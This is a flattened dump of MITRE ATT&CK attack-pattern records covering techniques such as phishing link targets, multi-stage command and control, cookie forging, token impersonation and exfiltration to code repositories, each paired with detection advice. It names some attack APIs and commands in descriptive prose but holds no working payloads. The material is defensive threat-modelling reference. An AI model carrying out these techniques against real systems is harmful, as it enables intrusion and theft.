attack-pattern | attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-03-17T20:35:08.429000Z" | "2024-04-28T15:57:26.842000Z" | Link Target | Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link.
Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.
Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).
Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)
Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1608.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1608/005"
},
{
"description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
"external_id": null,
"source_name": "Netskope GCP Redirection",
"url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
},
{
"description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
"external_id": null,
"source_name": "Netskope Cloud Phishing",
"url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
},
{
"description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
"external_id": null,
"source_name": "URI Unique",
"url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
},
{
"description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.",
"external_id": null,
"source_name": "Kaspersky-masking",
"url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/"
},
{
"description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
"external_id": null,
"source_name": "Talos IPFS 2022",
"url": "https://blog.talosintelligence.com/ipfs-abuse/"
},
{
"description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
"external_id": null,
"source_name": "Malwarebytes Silent Librarian October 2020",
"url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
},
{
"description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
"external_id": null,
"source_name": "URI",
"url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
},
{
"description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
"external_id": null,
"source_name": "URI Use",
"url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
},
{
"description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
"external_id": null,
"source_name": "iOS URL Scheme",
"url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
},
{
"description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
"external_id": null,
"source_name": "Intezer App Service Phishing",
"url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
},
{
"description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
"external_id": null,
"source_name": "Proofpoint TA407 September 2019",
"url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
},
{
"description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.",
"external_id": null,
"source_name": "Cofense-redirect",
"url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
},
{
"description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.",
"external_id": null,
"source_name": "mandiant-masking",
"url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.
Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001). | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.4 |
attack-pattern | attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:15.935000Z" | "2020-07-14T19:43:38.181000Z" | Multi-Stage Channels | Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.
Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.
The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1104",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1104"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-08-18T20:50:04.222000Z" | "2024-04-11T20:22:14.359000Z" | Financial Theft | Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware,(Citation: FBI-ransomware) business email compromise (BEC) and fraud,(Citation: FBI-BEC) "pig butchering,"(Citation: wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting cryptocurrency networks.(Citation: BBC-Ronin)
Adversaries may [Compromise Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized transfers of funds.(Citation: Internet crime report 2022) In the case of business email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656) of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary.(Citation: FBI-BEC) This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft.(Citation: VEC)
Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010) of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)
Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and business disruption.(Citation: AP-NotPetya) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1657",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1657"
},
{
"description": "CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved September 12, 2023.",
"external_id": null,
"source_name": "VEC",
"url": "https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers."
},
{
"description": "Crowdstrike. (2020, September 24). Double Trouble: Ransomware with Data Leak Extortion, Part 1. Retrieved December 6, 2023.",
"external_id": null,
"source_name": "Crowdstrike-leaks",
"url": "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/"
},
{
"description": "DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "Mandiant-leaks",
"url": "https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs"
},
{
"description": "Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "DOJ-DPRK Heist",
"url": "https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and"
},
{
"description": "FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate Wire Fraud. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "FBI-BEC",
"url": "https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view"
},
{
"description": "FBI. (n.d.). Ransomware. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "FBI-ransomware",
"url": "https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf"
},
{
"description": "FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still hobbled from fearsome cyberattack. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "AP-NotPetya",
"url": "https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2"
},
{
"description": "IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "Internet crime report 2022",
"url": "https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf"
},
{
"description": "Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack says about the state of crypto. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "BBC-Ronin",
"url": "https://www.bbc.com/news/technology-60933174"
},
{
"description": "Lily Hay Newman. (n.d.). ‘Pig Butchering’ Scams Are Now a $3 Billion Threat. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "wired-pig butchering",
"url": "https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/"
},
{
"description": "Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin, or roughly $5 million, to hackers.. Retrieved August 18, 2023.",
"external_id": null,
"source_name": "NYT-Colonial",
"url": "https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Office 365",
"SaaS",
"Google Workspace"
] | 1.1 |
|
attack-pattern | attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-01-31T02:10:08.261000Z" | "2022-05-03T02:39:29.314000Z" | Execution Guardrails | Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)
Guardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1480",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1480"
},
{
"description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.",
"external_id": null,
"source_name": "FireEye Outlook Dec 2019",
"url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html"
},
{
"description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.",
"external_id": null,
"source_name": "FireEye Kevin Mandia Guardrails",
"url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--8565825b-21c8-4518-b75e-cbc4c717a156 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-10-01T17:58:26.445000Z" | "2022-04-11T22:29:43.677000Z" | Cloud Storage Object Discovery | Adversaries may enumerate objects in cloud storage infrastructure. Adversaries may use this information during automated discovery to shape follow-on behaviors, including requesting all or specific objects from cloud storage. Similar to [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) on a local host, after identifying available storage services (i.e. [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580)) adversaries may access the contents/objects stored in cloud infrastructure.
Cloud service providers offer APIs allowing users to enumerate objects stored within cloud storage. Examples include ListObjectsV2 in AWS (Citation: ListObjectsV2) and List Blobs in Azure(Citation: List Blobs) . | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1619",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1619"
},
{
"description": "Amazon - ListObjectsV2. Retrieved October 4, 2021.",
"external_id": null,
"source_name": "ListObjectsV2",
"url": "https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html"
},
{
"description": "Microsoft - List Blobs. (n.d.). Retrieved October 4, 2021.",
"external_id": null,
"source_name": "List Blobs",
"url": "https://docs.microsoft.com/en-us/rest/api/storageservices/list-blobs"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Monitor cloud logs for API calls used for file or object enumeration for unusual activity. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS"
] | 1.0 |
attack-pattern | attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-12-17T02:14:34.178000Z" | "2023-09-19T21:25:10.511000Z" | Web Cookies | Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.
Adversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.
Once forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1606.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1606/001"
},
{
"description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.",
"external_id": null,
"source_name": "Volexity SolarWinds",
"url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"
},
{
"description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.",
"external_id": null,
"source_name": "Unit 42 Mac Crypto Cookies January 2019",
"url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
},
{
"description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
"external_id": null,
"source_name": "Pass The Cookie",
"url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"SaaS",
"IaaS"
] | 1.1 |
attack-pattern | attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-07-10T16:50:57.587000Z" | "2023-09-30T22:18:46.711000Z" | Log Enumeration | Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).
Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)
Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1654",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1654"
},
{
"description": "Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.",
"external_id": null,
"source_name": "SIM Swapping and Abuse of the Microsoft Azure Serial Console",
"url": "https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial"
},
{
"description": "Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.",
"external_id": null,
"source_name": "Cadet Blizzard emerges as novel threat actor",
"url": "https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"
},
{
"description": "Ruohonen, S. & Robinson, S. (2023, February 2). No Pineapple! -DPRK Targeting of Medical Research and Technology Sector. Retrieved July 10, 2023.",
"external_id": null,
"source_name": "WithSecure Lazarus-NoPineapple Threat Intel Report 2023",
"url": "https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"IaaS"
] | 1.0 |
|
attack-pattern | attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-18T16:39:06.289000Z" | "2024-01-10T17:57:36.177000Z" | Token Impersonation/Theft | Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.
An adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.
When an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1134.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1134/001"
},
{
"description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
"external_id": null,
"source_name": "Microsoft Command-line Logging",
"url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
},
{
"description": "Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024.",
"external_id": null,
"source_name": "DuplicateToken function",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
Analysts can also monitor for use of Windows APIs such as <code>DuplicateToken(Ex)</code>, <code> ImpersonateLoggedOnUser </code>, and <code> SetThreadToken </code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-09T14:51:11.772000Z" | "2023-09-15T19:08:16.882000Z" | Exfiltration to Code Repository | Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.
Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "exfiltration"
}
] | false | [
{
"description": null,
"external_id": "T1567.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1567/001"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--8861073d-d1b8-4941-82ce-dce621d398f0 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2023-02-21T19:38:13.371000Z" | "2023-04-14T22:27:04.095000Z" | Cloud Services | Adversaries may log into accessible cloud services within a compromised environment using [Valid Accounts](https://attack.mitre.org/techniques/T1078) that are synchronized with or federated to on-premises user identities. The adversary may then perform management actions or access cloud-hosted resources as the logged-on user.
Many enterprises federate centrally managed user identities to cloud services, allowing users to login with their domain credentials in order to access the cloud control plane. Similarly, adversaries may connect to available cloud services through the web console or through the cloud command line interface (CLI) (e.g., [Cloud API](https://attack.mitre.org/techniques/T1059/009)), using commands such as <code>Connect-AZAccount</code> for Azure PowerShell, <code>Connect-MgGraph</code> for Microsoft Graph PowerShell, and <code>gcloud auth login</code> for the Google Cloud CLI.
In some cases, adversaries may be able to authenticate to these services via [Application Access Token](https://attack.mitre.org/techniques/T1550/001) instead of a username and password. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1021.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1021/007"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Office 365",
"Azure AD",
"SaaS",
"IaaS",
"Google Workspace"
] | 1.0 |
|
attack-pattern | attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-07-01T18:23:25.002000Z" | "2022-03-11T18:31:23.996000Z" | Port Knocking | Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.
This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.
The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1205.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1205/001"
},
{
"description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
"external_id": null,
"source_name": "Hartrell cd00r 2002",
"url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
